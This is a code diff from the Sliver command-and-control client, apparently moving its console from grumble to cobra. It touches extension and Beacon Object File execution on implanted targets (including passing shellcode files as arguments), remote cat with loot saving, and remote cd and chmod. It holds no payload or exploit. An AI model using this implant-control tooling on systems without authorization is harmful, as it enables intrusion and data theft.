@@ -325,19 +550,19 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		goarch = beacon.Arch
 	}

-	ext, ok := loadedExtensions[ctx.Command.Name]
+	ext, ok := loadedExtensions[cmd.Name()]
 	if !ok {
-		con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
+		con.PrintErrorf("No extension command found for `%s` command\n", cmd.Name())
 		return
 	}

 	checkCache := session != nil
-	if err = loadExtension(goos, goarch, checkCache, ext, ctx, con); err != nil {
+	if err = loadExtension(goos, goarch, checkCache, ext, cmd, con); err != nil {
 		con.PrintErrorf("Could not load extension: %s\n", err)
 		return
 	}

-	binPath, err := ext.getFileForTarget(ctx.Command.Name, goos, goarch)
+	binPath, err := ext.getFileForTarget(goos, goarch)
 	if err != nil {
 		con.PrintErrorf("Failed to read extension file: %s\n", err)
 		return
@@ -352,7 +577,7 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	// the loader will extract and load.
 	if isBOF {
 		// Beacon Object File -- requires a COFF loader
-		extensionArgs, err = getBOFArgs(ctx, binPath, ext)
+		extensionArgs, err = getBOFArgs(cmd, args, binPath, ext)
 		if err != nil {
 			con.PrintErrorf("BOF args error: %s\n", err)
 			return
@@ -360,21 +585,57 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 		extName = ext.DependsOn
 		entryPoint = loadedExtensions[extName].Entrypoint // should exist at this point
 	} else {
-		// Regular DLL
-		extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
-		extensionArgs = []byte(extArgs)
+		// Regular DLL - Just join the arguments with spaces
+		if len(args) > 0 {
+			extensionArgs = []byte(strings.Join(args, " "))
+		} else {
+			extensionArgs = []byte{}
+		}
 		extName = ext.CommandName
 		entryPoint = ext.Entrypoint
 	}

 	ctrl := make(chan bool)
-	msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
+	msg := fmt.Sprintf("Executing %s ...", cmd.Name())
 	con.SpinUntil(msg, ctrl)
+	extdata, err := os.ReadFile(binPath)
+	if err != nil {
+		con.PrintErrorf("ext read file error: %s\n", err)
+	}
+	bd := sha256.Sum256(extdata)
+	name := hex.EncodeToString(bd[:])
+	if isBOF {
+		//if we are using a bof, we are actually calling the coffloader extension - so get the file from dep ref and use that shasum
+
+		if extension, found := loadedExtensions[ext.DependsOn]; found {
+			dep, err := extension.getFileForTarget(goos, goarch)
+			if err != nil {
+				con.PrintErrorf("could not get file for extension %s", ext.DependsOn)
+				return
+			}
+			depdata, err := os.ReadFile(dep)
+			if err != nil {
+				con.PrintErrorf("dep read file error: %s\n", err)
+				return
+			}
+			if len(depdata) == 0 {
+				con.PrintErrorf("read empty file: %s\n", dep)
+				return
+			}
+			bd = sha256.Sum256(depdata)
+			name = hex.EncodeToString(bd[:])
+		} else {
+			// handle error
+			con.PrintErrorf("attempted to load non-existing extension: %s", ext.DependsOn)
+			return
+		}
+
+	}
 	callExtResp, err := con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
-		Name:    extName,
+		Name:    name,
 		Export:  entryPoint,
 		Args:    extensionArgs,
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 	})
 	ctrl <- true
 	<-ctrl
@@ -390,73 +651,110 @@ func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode call ext response %s\n", err)
 				return
 			}
-			PrintExtOutput(extName, ext.CommandName, callExtResp, con)
+			PrintExtOutput(extName, ext.CommandName, ext.Schema, callExtResp, con)
 		})
 		con.PrintAsyncResponse(callExtResp.Response)
 	} else {
-		PrintExtOutput(extName, ext.CommandName, callExtResp, con)
+		PrintExtOutput(extName, ext.CommandName, ext.Schema, callExtResp, con)
 	}
 }

-// PrintExtOutput - Print the ext execution output
-func PrintExtOutput(extName string, commandName string, callExtension *sliverpb.CallExtension, con *console.SliverConsoleClient) {
+// PrintExtOutput - Print the ext execution output.
+func PrintExtOutput(extName string, commandName string, outputSchema *packages.OutputSchema, callExtension *sliverpb.CallExtension, con *console.SliverClient) {
 	if extName == commandName {
 		con.PrintInfof("Successfully executed %s\n", extName)
 	} else {
 		con.PrintInfof("Successfully executed %s (%s)\n", commandName, extName)
 	}
 	if 0 < len(string(callExtension.Output)) {
-		con.PrintInfof("Got output:\n%s\n", callExtension.Output)
+		if outputSchema == nil {
+			con.PrintInfof("Got output:\n%s", callExtension.Output)
+		} else {
+			// Get output schema
+			schema := packages.GetNewPackageOutput(outputSchema.Name)
+			if schema != nil {
+				ingestErr := schema.IngestData(callExtension.Output, outputSchema.Columns(), outputSchema.GroupBy)
+				if ingestErr != nil {
+					con.PrintInfof("Got output:\n%s", callExtension.Output)
+				} else {
+					con.Printf("%s\n", schema.CreateTable())
+				}
+			} else {
+				con.PrintInfof("Got output:\n%s", callExtension.Output)
+			}
+		}
 	}
 	if callExtension.Response != nil && callExtension.Response.Err != "" {
-		con.PrintErrorf("%s\n", callExtension.Response.Err)
+		con.PrintErrorf(callExtension.Response.Err)
 		return
 	}
 }

-func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([]byte, error) {
-	var extensionArgs []byte
-	binData, err := ioutil.ReadFile(binPath)
-	if err != nil {
-		return nil, err
-	}
+func getExtArgs(_ *cobra.Command, args []string, _ string, ext *ExtCommand) ([]byte, error) {
+	var err error
 	argsBuffer := core.BOFArgsBuffer{
 		Buffer: new(bytes.Buffer),
 	}
+
 	// Parse BOF arguments from grumble
+	missingRequiredArgs := make([]string, 0)
+
+	// If we have an extension that expects a single string, but more than one has been parsed, combine them
+	if len(ext.Arguments) == 1 && strings.Contains(ext.Arguments[0].Type, "string") && len(args) > 0 {
+		// The loop below will only read the first element of args because ext.Arguments is 1
+		args[0] = strings.Join(args, " ")
+	}
+
 	for _, arg := range ext.Arguments {
+		// If we don't have any positional words left to consume,
+		// add the remaining required extension arguments in the
+		// error message.
+		if len(args) == 0 {
+			if !arg.Optional {
+				missingRequiredArgs = append(missingRequiredArgs, "`"+arg.Name+"`")
+			}
+			continue
+		}
+
+		// Else pop a word from the list
+		word := args[0]
+		args = args[1:]
+
 		switch arg.Type {
 		case "integer":
 			fallthrough
 		case "int":
-			val := ctx.Args.Int(arg.Name)
+			val, err := strconv.Atoi(word)
+			if err != nil {
+				return nil, err
+			}
 			err = argsBuffer.AddInt(uint32(val))
 			if err != nil {
 				return nil, err
 			}
 		case "short":
-			val := ctx.Args.Int(arg.Name)
+			val, err := strconv.Atoi(word)
+			if err != nil {
+				return nil, err
+			}
 			err = argsBuffer.AddShort(uint16(val))
 			if err != nil {
 				return nil, err
 			}
 		case "string":
-			val := ctx.Args.String(arg.Name)
-			err = argsBuffer.AddString(val)
+			err = argsBuffer.AddString(word)
 			if err != nil {
 				return nil, err
 			}
 		case "wstring":
-			val := ctx.Args.String(arg.Name)
-			err = argsBuffer.AddWString(val)
+			err = argsBuffer.AddWString(word)
 			if err != nil {
 				return nil, err
 			}
 		// Adding support for filepaths so we can
 		// send binary data like shellcodes to BOFs
 		case "file":
-			val := ctx.Args.String(arg.Name)
-			data, err := ioutil.ReadFile(val)
+			data, err := os.ReadFile(word)
 			if err != nil {
 				return nil, err
 			}
@@ -466,10 +764,27 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
 			}
 		}
 	}
+
+	// Return if we have missing required arguments
+	if len(missingRequiredArgs) > 0 {
+		return nil, fmt.Errorf("required arguments %s were not provided", strings.Join(missingRequiredArgs, ", "))
+	}
+
 	parsedArgs, err := argsBuffer.GetBuffer()
 	if err != nil {
 		return nil, err
 	}
+
+	return parsedArgs, nil
+}
+
+func getBOFArgs(cmd *cobra.Command, args []string, binPath string, ext *ExtCommand) ([]byte, error) {
+	var extensionArgs []byte
+	binData, err := os.ReadFile(binPath)
+	if err != nil {
+		return nil, err
+	}
+
 	// Now build the extension's argument buffer
 	extensionArgsBuffer := core.BOFArgsBuffer{
 		Buffer: new(bytes.Buffer),
@@ -482,6 +797,10 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
 	if err != nil {
 		return nil, err
 	}
+	parsedArgs, err := ParseFlagArgumentsToBuffer(cmd, args, binPath, ext)
+	if err != nil {
+		return nil, err
+	}
 	err = extensionArgsBuffer.AddData(parsedArgs)
 	if err != nil {
 		return nil, err
@@ -491,15 +810,89 @@ func getBOFArgs(ctx *grumble.Context, binPath string, ext *ExtensionManifest) ([
 		return nil, err
 	}
 	return extensionArgs, nil
-
 }

-// CmdExists - checks if a command exists
-func CmdExists(name string, app *grumble.App) bool {
-	for _, c := range app.Commands().All() {
-		if name == c.Name {
+// CmdExists - checks if a command exists.
+func CmdExists(name string, cmd *cobra.Command) bool {
+	for _, c := range cmd.Commands() {
+		if name == c.Name() {
 			return true
 		}
 	}
 	return false
 }
+
+// makeExtensionArgParser builds the valid positional arguments cobra handler for the extension.
+func checkExtensionArgs(extCmd *ExtCommand) error {
+	if 0 < len(extCmd.Arguments) {
+		for _, arg := range extCmd.Arguments {
+			switch arg.Type {
+			case "int", "integer", "short":
+			case "string", "wstring", "file":
+			default:
+				return fmt.Errorf("invalid argument type: %s", arg.Type)
+			}
+		}
+	}
+
+	return nil
+}
+
+// makeExtensionArgCompleter builds the positional arguments completer for the extension.
+func makeExtensionArgCompleter(extCmd *ExtCommand, _ *cobra.Command, comps *carapace.Carapace) {
+	var actions []carapace.Action
+
+	for _, arg := range extCmd.Arguments {
+		var action carapace.Action
+
+		switch arg.Type {
+		case "file":
+			action = carapace.ActionFiles().Tag("extension data")
+		}
+
+		usage := fmt.Sprintf("(%s) %s", arg.Type, arg.Desc)
+		if arg.Optional {
+			usage += " (optional)"
+		}
+
+		actions = append(actions, action.Usage(usage))
+	}
+
+	comps.PositionalCompletion(actions...)
+}
+
+func makeCommandPlatformFilters(extCmd *ExtCommand) map[string]string {
+	filtersOS := make(map[string]bool)
+	filtersArch := make(map[string]bool)
+
+	var all []string
+
+	// Only add filters for architectures when there OS matters.
+	for _, file := range extCmd.Files {
+		filtersOS[file.OS] = true
+
+		if filtersOS[file.OS] {
+			filtersArch[file.Arch] = true
+		}
+	}
+
+	for os, enabled := range filtersOS {
+		if enabled {
+			all = append(all, os)
+		}
+	}
+
+	for arch, enabled := range filtersArch {
+		if enabled {
+			all = append(all, arch)
+		}
+	}
+
+	if len(all) == 0 {
+		return map[string]string{}
+	}
+
+	return map[string]string{
+		appConsole.CommandFilterKey: strings.Join(all, ","),
+	}
+}
@@ -23,17 +23,18 @@ import (
 	"fmt"
 	"os"
 	"path/filepath"
+	"strings"

 	"github.com/AlecAivazis/survey/v2"
 	"github.com/bishopfox/sliver/client/assets"
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/util"
-	"github.com/desertbit/grumble"
+	"github.com/spf13/cobra"
 )

-// ExtensionsRemoveCmd - Remove an extension
-func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
-	name := ctx.Args.String("name")
+// ExtensionsRemoveCmd - Remove an extension.
+func ExtensionsRemoveCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+	name := args[0]
 	if name == "" {
 		con.PrintErrorf("Extension name is required\n")
 		return
@@ -44,17 +45,27 @@ func ExtensionsRemoveCmd(ctx *grumble.Context, con *console.SliverConsoleClient)
 	if !confirm {
 		return
 	}
-	err := RemoveExtensionByCommandName(name, con)
+	found, err := RemoveExtensionByManifestName(name, con)
 	if err != nil {
-		con.PrintErrorf("Error removing extension: %s\n", err)
+		con.PrintErrorf("Error removing extensions: %s\n", err)
 		return
+	}
+	if !found {
+		err = RemoveExtensionByCommandName(name, con)
+		if err != nil {
+			con.PrintErrorf("Error removing extension: %s\n", err)
+			return
+		} else {
+			con.PrintInfof("Extension '%s' removed\n", name)
+		}
 	} else {
-		con.PrintInfof("Extension '%s' removed\n", name)
+		//found, and no error, manifest must have removed good
+		con.PrintInfof("Extensions from %s removed\n", name)
 	}
 }

-// RemoveExtensionByCommandName - Remove an extension by command name
-func RemoveExtensionByCommandName(commandName string, con *console.SliverConsoleClient) error {
+// RemoveExtensionByCommandName - Remove an extension by command name.
+func RemoveExtensionByCommandName(commandName string, con *console.SliverClient) error {
 	if commandName == "" {
 		return errors.New("command name is required")
 	}
@@ -62,7 +73,6 @@ func RemoveExtensionByCommandName(commandName string, con *console.SliverConsole
 		return errors.New("extension not loaded")
 	}
 	delete(loadedExtensions, commandName)
-	con.App.Commands().Remove(commandName)
 	extPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(commandName))
 	if _, err := os.Stat(extPath); os.IsNotExist(err) {
 		return nil
@@ -71,6 +81,51 @@ func RemoveExtensionByCommandName(commandName string, con *console.SliverConsole
 	return nil
 }

+// RemoveExtensionByManifestName - remove by the named manifest, returns true if manifest was removed, false if no manifest with that name was found
+func RemoveExtensionByManifestName(manifestName string, con *console.SliverClient) (bool, error) {
+	if manifestName == "" {
+		return false, errors.New("command name is required")
+	}
+	if man, ok := loadedManifests[manifestName]; ok {
+		// Found the manifest
+		var extPath string
+		if man.RootPath != "" {
+			// Use RootPath for temporarily loaded extensions
+			extPath = man.RootPath
+		} else {
+			// Fall back to extensions dir for installed extensions
+			extPath = filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifestName))
+		}
+
+		if _, err := os.Stat(extPath); os.IsNotExist(err) {
+			return true, nil
+		}
+
+		// If path is outside extensions directory, prompt for confirmation
+		if !strings.HasPrefix(extPath, assets.GetExtensionsDir()) {
+			confirm := false
+			prompt := &survey.Confirm{Message: fmt.Sprintf("Remove '%s' extension directory from filesystem?", manifestName)}
+			survey.AskOne(prompt, &confirm)
+			if !confirm {
+				// Skip the forceRemoveAll but continue with the rest
+				delete(loadedManifests, manifestName)
+				for _, cmd := range man.ExtCommand {
+					delete(loadedExtensions, cmd.CommandName)
+				}
+				return true, nil
+			}
+		}
+
+		forceRemoveAll(extPath)
+		delete(loadedManifests, manifestName)
+		for _, cmd := range man.ExtCommand {
+			delete(loadedExtensions, cmd.CommandName)
+		}
+		return true, nil
+	}
+	return false, nil
+}
+
 func forceRemoveAll(rootPath string) {
 	util.ChmodR(rootPath, 0o600, 0o700)
 	os.RemoveAll(rootPath)
@@ -23,6 +23,7 @@ import (
 	"encoding/hex"
 	"fmt"
 	"os"
+	"strings"

 	"github.com/alecthomas/chroma/formatters"
 	"github.com/alecthomas/chroma/lexers"
@@ -32,19 +33,21 @@ import (
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
 	"github.com/bishopfox/sliver/util/encoders"
+	"github.com/spf13/cobra"
 	"google.golang.org/protobuf/proto"
-
-	"github.com/desertbit/grumble"
 )

-// CatCmd - Display the contents of a remote file
-func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// CatCmd - Display the contents of a remote file.
+func CatCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	filePath := ctx.Args.String("path")
+	var filePath string
+	if len(args) > 0 {
+		filePath = args[0]
+	}
 	if filePath == "" {
 		con.PrintErrorf("Missing parameter: file name\n")
 		return
@@ -53,8 +56,9 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	ctrl := make(chan bool)
 	con.SpinUntil(fmt.Sprintf("Downloading %s ...", filePath), ctrl)
 	download, err := con.Rpc.Download(context.Background(), &sliverpb.DownloadReq{
-		Request: con.ActiveTarget.Request(ctx),
-		Path:    filePath,
+		Request:          con.ActiveTarget.Request(cmd),
+		RestrictedToFile: true,
+		Path:             filePath,
 	})
 	ctrl <- true
 	<-ctrl
@@ -69,24 +73,23 @@ func CatCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 				con.PrintErrorf("Failed to decode response %s\n", err)
 				return
 			}
-			PrintCat(download, ctx, con)
+			PrintCat(filePath, download, cmd, con)
 		})
 		con.PrintAsyncResponse(download.Response)
 	} else {
-		PrintCat(download, ctx, con)
+		PrintCat(filePath, download, cmd, con)
 	}
 }

-// PrintCat - Print the download to stdout
-func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.SliverConsoleClient) {
+// PrintCat - Print the download to stdout.
+func PrintCat(originalFileName string, download *sliverpb.Download, cmd *cobra.Command, con *console.SliverClient) {
 	var (
 		lootDownload bool = true
 		err          error
 	)
-	saveLoot := ctx.Flags.Bool("loot")
-	lootName := ctx.Flags.String("name")
-	userLootType := ctx.Flags.String("type")
-	userLootFileType := ctx.Flags.String("file-type")
+	saveLoot, _ := cmd.Flags().GetBool("loot")
+	lootName, _ := cmd.Flags().GetString("name")
+	userLootFileType, _ := cmd.Flags().GetString("file-type")
 	if download.Response != nil && download.Response.Err != "" {
 		con.PrintErrorf("%s\n", download.Response.Err)
 		return
@@ -100,26 +103,21 @@ func PrintCat(download *sliverpb.Download, ctx *grumble.Context, con *console.Sl
 	}

 	if saveLoot {
-		lootType, err := loot.ValidateLootType(userLootType)
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			// Even if the loot type is bad, we can still print the result to the screen
-			// We will not loot it though
-			lootDownload = false
-		}
 		fileType := loot.ValidateLootFileType(userLootFileType, download.Data)
-
 		if lootDownload {
-			loot.LootDownload(download, lootName, lootType, fileType, ctx, con)
+			loot.LootDownload(download, lootName, fileType, cmd, con)
 			con.Printf("\n")
 		}
 	}
-	if ctx.Flags.Bool("colorize-output") {
+	if !strings.Contains(download.Path, originalFileName) {
+		con.PrintInfof("Supplied pattern %s matched file %s\n\n", originalFileName, download.Path)
+	}
+	if color, _ := cmd.Flags().GetBool("colorize-output"); color {
 		if err = colorize(download); err != nil {
 			con.Println(string(download.Data))
 		}
 	} else {
-		if ctx.Flags.Bool("hex") {
+		if phex, _ := cmd.Flags().GetBool("hex"); phex {
 			con.Println(hex.Dump(download.Data))
 		} else {
 			con.Println(string(download.Data))
@@ -24,21 +24,24 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/spf13/cobra"
 	"google.golang.org/protobuf/proto"
-
-	"github.com/desertbit/grumble"
 )

-// CdCmd - Change directory on the remote system
-func CdCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// CdCmd - Change directory on the remote system.
+func CdCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}
-	filePath := ctx.Args.String("path")
+
+	filePath := "."
+	if len(args) == 1 {
+		filePath = args[0]
+	}

 	pwd, err := con.Rpc.Cd(context.Background(), &sliverpb.CdReq{
-		Request: con.ActiveTarget.Request(ctx),
+		Request: con.ActiveTarget.Request(cmd),
 		Path:    filePath,
 	})
 	if err != nil {
@@ -23,37 +23,38 @@ import (
 	"github.com/bishopfox/sliver/client/console"
 	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/spf13/cobra"
 	"google.golang.org/protobuf/proto"
-
-	"github.com/desertbit/grumble"
 )

-// ChmodCmd - Change the permissions of a file on the remote file system
-func ChmodCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+// ChmodCmd - Change the permissions of a file on the remote file system.
+func ChmodCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 	session, beacon := con.ActiveTarget.GetInteractive()
 	if session == nil && beacon == nil {
 		return
 	}

-	filePath := ctx.Args.String("path")
+	filePath := args[0]

 	if filePath == "" {
 		con.PrintErrorf("Missing parameter: file or directory name\n")
 		return
 	}

-	fileMode := ctx.Args.String("mode")
+	fileMode := args[1]

 	if fileMode == "" {
 		con.PrintErrorf("Missing parameter: file permissions (mode)\n")
 		return
 	}

+	recursive, _ := cmd.Flags().GetBool("recursive")
+
 	chmod, err := con.Rpc.Chmod(context.Background(), &sliverpb.ChmodReq{
-		Request:   con.ActiveTarget.Request(ctx),
+		Request:   con.ActiveTarget.Request(cmd),
 		Path:      filePath,
 		FileMode:  fileMode,
-		Recursive: ctx.Flags.Bool("recursive"),
+		Recursive: recursive,
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
@@ -74,8 +75,8 @@ func ChmodCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	}
 }

-// PrintChmod - Print the chmod response
-func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverConsoleClient) {
+// PrintChmod - Print the chmod response.
+func PrintChmod(chmod *sliverpb.Chmod, con *console.SliverClient) {
 	if chmod.Response != nil && chmod.Response.Err != "" {
 		con.PrintErrorf("%s\n", chmod.Response.Err)
 		return